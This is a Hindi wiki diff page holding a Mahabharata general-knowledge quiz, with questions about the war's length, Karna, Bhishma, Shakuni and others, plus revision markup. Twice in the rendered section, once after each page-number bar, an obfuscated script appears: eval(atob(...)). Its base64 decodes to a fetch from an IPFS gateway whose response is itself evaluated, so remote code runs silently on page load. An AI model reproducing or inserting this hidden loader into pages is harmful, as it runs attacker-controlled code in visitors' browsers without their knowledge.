"महाभारत सामान्य ज्ञान" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
 
(3 सदस्यों द्वारा किये गये बीच के 4 अवतरण नहीं दर्शाए गए)
पंक्ति 7: पंक्ति 7:
 
|
 
|
 
<quiz display=simple>
 
<quiz display=simple>
{[[महाभारत]] का युद्ध कितने दिनों तक चला था?
 
|type="()"}
 
-14 दिन
 
-16 दिन
 
+18 दिन
 
-12 दिन
 
||[[चित्र:krishna-arjun1.jpg|right|130px|कृष्ण और अर्जुन]][[महाभारत]] की मूल अभिकल्पना में 18 की संख्या का विशिष्ट योग है। [[कौरव]] और [[पाण्डव]] पक्षों के मध्य हुए युद्ध की अवधि 18 दिन थी। दोनों पक्षों की सेनाओं का सम्मिलित संख्या-बल भी 18 अक्षौहिणी था। इस युद्ध के प्रमुख सूत्रधार भी 18 थे। महाभारत की प्रबन्ध योजना में सम्पूर्ण ग्रन्थ को 18 पर्वों में विभक्त किया गया है और महाभारत में 'भीष्मपर्व' के अन्तर्गत वर्णित [[श्रीमद्भगवद गीता]] में भी 18 अध्याय हैं।{{point}} अधिक जानकारी के लिए देखें:-[[महाभारत]]
 
 
{दानवीर [[कर्ण]] का अंतिम दान क्या था?
 
|type="()"}
 
-कवच
 
-कुडंल
 
-राज्य
 
+सोने का दाँत
 
||[[चित्र:Karn1.jpg|right|100px|महाभारत युद्ध में कर्ण की वीरगति]][[महाभारत]] युद्ध के अंतिम कुछ दिनों में [[कर्ण]] [[अर्जुन]] के हाथों पराजित हो गया। वह रणभूमि पर पड़ा अपनी मृत्यु की प्रतिक्षा कर रहा था। वहाँ शिविर में अर्जुन अपनी विजय और कर्ण की पराजय पर उसका बार-बार तिरस्कार कर रहा था। तब [[कृष्ण]] ने कहा कि अर्जुन कर्ण द्वारा कवच और कुंडल [[इन्द्र]] को दान कर देने के बाद ही तुम उस पर विजय पा सके हो। कर्ण की दानवीरता की परीक्षा के लिए अर्जुन और कृष्ण [[ब्राह्मण]] का भेष बदलकर घायल पड़े हुए कर्ण के पास पहुँचे और भिक्षा मांगी। इन अंतिम क्षणों में भी कर्ण ने अपने मुख के दो [[स्वर्ण]] जड़ित [[दाँत]] पास ही पड़े पत्थर से तोड़कर उन्हें दान कर दिये।{{point}}अधिक जानकारी के लिए देखें:-[[कर्ण]]
 
 
{गंगापुत्र [[भीष्म]] का मूल नाम क्या था?
 
|type="()"}
 
-[[देवदत्त |देवदत्त]]
 
+देवव्रत
 
-[[शिवव्रत]]
 
-गंगाधर
 
||[[चित्र:Bhishma1.jpg|right|100px|भीष्म द्वारा श्रीकृष्ण की प्रतिज्ञा भंग करवाना]][[भीष्म]] [[महाभारत]] के प्रमुख पात्रों में से एक हैं। ये महाराजा शांतनु के पुत्र थे। अपने [[पिता]] को दिये गये वचन के कारण इन्होंने 'आजीवन ब्रह्मचर्य' का व्रत लिया था। गंगा ने भीष्म को शिशु अवस्था में अपने पति महाराज [[शांतनु]] को यह कहते हुए कि, "राजन! यह आपका पुत्र है तथा इसका नाम 'देवव्रत' है, इसे ग्रहण करो। यह पराक्रमी होने के साथ ही विद्वान भी होगा। [[अस्त्र शस्त्र|अस्त्र]] विद्या में यह [[परशुराम]] के समान होगा।" महाराज शांतनु अपने पुत्र 'देवव्रत' को पाकर अत्यन्त प्रसन्न हुये और उसे अपने साथ [[हस्तिनापुर]] लाकर युवराज घोषित कर दिया।{{point}} अधिक जानकारी के लिए देखें:-[[भीष्म]]
 
 
{निम्नलिखित में से कौन [[दुर्योधन]] की बहन थी?
 
|type="()"}
 
-भानुमति
 
-[[रम्भा]]
 
-लक्ष्मणा
 
+[[दुःशला]]
 
||[[चित्र:Jaydrath-vadh.jpg|right|120px|अर्जुन द्वारा जयद्रथ-वध]][[महाभारत]] में [[दुःशला]] राजा [[धृतराष्ट्र]] की पुत्री और [[दुर्योधन]] आदि [[कौरव|कौरवों]] की बहन थी। इसका जन्म [[गांधारी]] के गर्भ से हुआ था। बाद में इसका [[विवाह]] [[सिंधु]] नरेश [[जयद्रथ]] के साथ में हुआ, जिसका वध [[अर्जुन]] द्वारा [[कुरुक्षेत्र]] में किया गया। जयद्रथ की मृत्यु के पश्चात दु:शला ने अपनी संरक्षता में अपने छोटे बालक 'सुरथ' को सिंहासन पर बैठाया। [[पांडव|पांडवों]] के '[[अश्वमेध यज्ञ]]' के समय अर्जुन घोड़ा लेकर जब सिंधु देश पहुँचा, तब सुरथ भय से इतना डर गया कि उसने प्राण त्याग दिये।{{point}}अधिक जानकारी के लिए देखें:-[[दुःशला]]
 
 
{निम्न में से कौन [[अश्वत्थामा]] की माता थीं?
 
|type="()"}
 
-द्रोणा
 
-[[अरुन्धती]]
 
-[[रुक्मणी]]
 
+[[कृपि]]
 
||कृपि [[पाण्डव|पाण्डवों]] और [[कौरव|कौरवों]] के गुरु [[द्रोणाचार्य]] की पत्नी थीं। इन्हीं के गर्भ से तेजस्वी [[अश्वत्थामा]] का जन्म हुआ था, जिसके मस्तक पर जन्म से ही मणि विराजमान थी और जिसने [[महाभारत]] युद्ध में बहुत ही महत्त्वपूर्ण भूमिका निभाई। [[कृपि]] आचार्य [[कृपाचार्य]] की बहिन थीं। [[गौतम ॠषि|गौतम]] के एक प्रसिद्ध पुत्र हुए हैं, शरद्वान गौतम। वे घोर तपस्वी थे। उनकी घोर तपस्या ने [[इन्द्र]] को चिन्ता में डाल दिया। इन्द्र ने उनकी तपस्या को भंग करने के लिए 'जानपदी' नामक एक देवकन्या को उनके आश्रम में भेजा{{point}}अधिक जानकारी के लिए देखें:-[[कृपि]]
 
 
{[[महाभारत]] युद्ध के पश्चात जो महारथी जीवित बचे उनकी संख्या कितनी थी?
 
|type="()"}
 
-22
 
-42
 
+18
 
-36
 
 
{[[गीता]] में "मैं" शब्द का प्रयोग कितनी बार हुआ है?
 
|type="()"}
 
-107 बार
 
-108 बार
 
-106 बार
 
+109 बार
 
 
{[[अभिमन्यु]] के पुत्र का नाम क्या था?
 
|type="()"}
 
-[[दिलीप]]
 
+[[परीक्षित]]
 
-[[प्रद्युम्न]]
 
-[[शान्तनु]]
 
||वीर [[अभिमन्यु]] और [[उत्तरा]] के पुत्र का नाम [[परीक्षित]] था। धर्मराज [[युधिष्ठिर]] ने जब पुत्र जन्म का समाचार सुना तो वे अति प्रसन्न हुये और उन्होंने असंख्य [[गाय]], गाँव, [[हाथी]], घोड़े, अन्न आदि [[ब्राह्मण|ब्राह्मणों]] को दान दिये। उत्तम ज्योतिषियों को बुलाकर बालक के भविष्य के विषय में प्रश्न पूछे। ज्योतिषियों ने बताया कि वह बालक अति प्रतापी, यशस्वी तथा [[इक्ष्वाकु वंश|इक्ष्वाकु]] समान प्रजापालक, दानी, धर्मी, पराक्रमी और भगवान [[कृष्ण|श्री कृष्णचन्द्र]] का [[भक्त]] होगा।{{point}}अधिक जानकारी के लिए देखें:-[[परीक्षित]]
 
 
{निम्नलिखित में से कौन [[जरासंध]] का बहनोई था?
 
|type="()"}
 
+[[कंस]]
 
-[[दु:शासन]]
 
-[[शिशुपाल]]
 
-[[जयद्रथ]]
 
||[[चित्र:Krishna-Balarama.jpg|right|100px|कृष्ण द्वारा कंस का वध]]कंस को [[आर्यावर्त]] के तत्कालीन सर्वप्रतापी राजा [[जरासंध]] का सहारा प्राप्त था। जरासंध 'पौरव वंश' का था और [[मगध]] के विशाल साम्राज्य का शासक था। उसने अनेक प्रदेशों के राजाओं से मैत्री-संबंध स्थापित कर लिये थे, जिनके द्वारा उसे अपनी शक्ति बढ़ाने में बड़ी सहायता मिली। [[कंस]] को जरासंध ने 'अस्ति' और 'प्राप्ति' नामक अपनी दो लड़कियाँ ब्याह दीं और इस प्रकार उससे अपना घनिष्ट संबंध जोड़ लिया। [[चेदि]] के [[यादव वंश|यादव वंशी]] राजा [[शिशुपाल]] को भी जरासंध ने अपना गहरा मित्र बना लिया था।{{point}}अधिक जानकारी के लिए देखें:-[[कंस]]
 
 
{[[दुर्योधन]] के पुत्र का नाम क्या था?
 
|type="()"}
 
-सुयोधन
 
-यशवर्धन
 
+लक्ष्मण
 
-[[भरत]]
 
 
 
{[[कर्ण]] को पालने वाली माता का नाम क्या था?
 
{[[कर्ण]] को पालने वाली माता का नाम क्या था?
 
|type="()"}
 
|type="()"}
पंक्ति 98: पंक्ति 21:
 
+[[गांधार]]
 
+[[गांधार]]
 
-[[पांचाल]]
 
-[[पांचाल]]
||[[चित्र:Gandhar-Map.jpg|right|100px|गांधार महाजनपद]][[गान्धार]] राज सुबल का पुत्र और [[गान्धारी]] का भाई [[शकुनि]] जुआ खेलने में यह बहुत ही कुशल था। वह प्रायः [[धृतराष्ट्र]] के दरबार में ही बना रहता था। [[दुर्योधन]] की इससे बहुत पटती थी। [[युधिष्ठिर]] और दुर्योधन के बीच खेले गये जुए में शकुनि ने दुर्योधन की ओर से जुआ खेला था। वह ऐसा चतुर जुआरी था कि युधिष्ठिर को उसने एक भी दाँव नहीं जीतने दिया। शकुनि छलिया भी अव्वल श्रेणी का था। ज्यों-ज्यों युधिष्ठिर हारते जाते, त्यों-त्यों वह उन्हें उकसाता और जो चीजें उनके पास रह गई थीं, उन्हें दाँव पर लगाने के लिए विवश कर देता।{{point}}अधिक जानकारी के लिए देखें:-[[शकुनि]]
+
||[[चित्र:Gandhar-Map.jpg|right|100px|गांधार महाजनपद]][[गान्धार]] राज सुबल का पुत्र और [[गान्धारी]] का भाई [[शकुनि]] जुआ खेलने में यह बहुत ही कुशल था। वह प्रायः [[धृतराष्ट्र]] के दरबार में ही बना रहता था। [[दुर्योधन]] की इससे बहुत पटती थी। [[युधिष्ठिर]] और दुर्योधन के बीच खेले गये जुए में शकुनि ने दुर्योधन की ओर से जुआ खेला था। वह ऐसा चतुर जुआरी था कि युधिष्ठिर को उसने एक भी दाँव नहीं जीतने दिया। शकुनि छलिया भी अव्वल श्रेणी का था। ज्यों-ज्यों युधिष्ठिर हारते जाते, त्यों-त्यों वह उन्हें उकसाता और जो चीज़ें उनके पास रह गई थीं, उन्हें दाँव पर लगाने के लिए विवश कर देता।{{point}}अधिक जानकारी के लिए देखें:-[[शकुनि]]
  
 
{[[पांडव]] [[नकुल]] किसका विशेषज्ञ था?
 
{[[पांडव]] [[नकुल]] किसका विशेषज्ञ था?
पंक्ति 128: पंक्ति 51:
 
{{महाभारत सामान्य ज्ञान}}
 
{{महाभारत सामान्य ज्ञान}}
 
{{सामान्य ज्ञान प्रश्नोत्तरी}}
 
{{सामान्य ज्ञान प्रश्नोत्तरी}}
{{प्रचार}}
 
 
[[Category:सामान्य ज्ञान]][[Category:महाभारत]]
 
[[Category:सामान्य ज्ञान]][[Category:महाभारत]]
 
[[Category:सामान्य ज्ञान प्रश्नोत्तरी]]
 
[[Category:सामान्य ज्ञान प्रश्नोत्तरी]]

10:47, 2 मार्च 2017 के समय का अवतरण

सामान्य ज्ञान प्रश्नोत्तरी
राज्यों के सामान्य ज्ञान

पन्ने पर जाएँ

1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

1 कर्ण को पालने वाली माता का नाम क्या था?

मीरा
तुलसी
राधा
कुंती

2 दुर्योधन के मामा शकुनि के राज्य का नाम क्या था?

मगध
हस्तिनापुर
गांधार
पांचाल

3 पांडव नकुल किसका विशेषज्ञ था?

धनुर्विद्या का
पाकविद्या का
अंगराग का
घोड़ों का

4 निम्नलिखित में से अर्जुन के शंख का नाम क्या था?

पाञ्जन्य शंख
उदघोष शंख
देवदत्त शंख
पोडरिक शंख

5 सूर्य के उत्तरायण होने की प्रतीक्षा करके किसने अपना प्राण त्याग किया?

द्रोणाचार्य
भीष्म
कर्ण
पाण्डु

पन्ने पर जाएँ

1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

सामान्य ज्ञान प्रश्नोत्तरी
राज्यों के सामान्य ज्ञान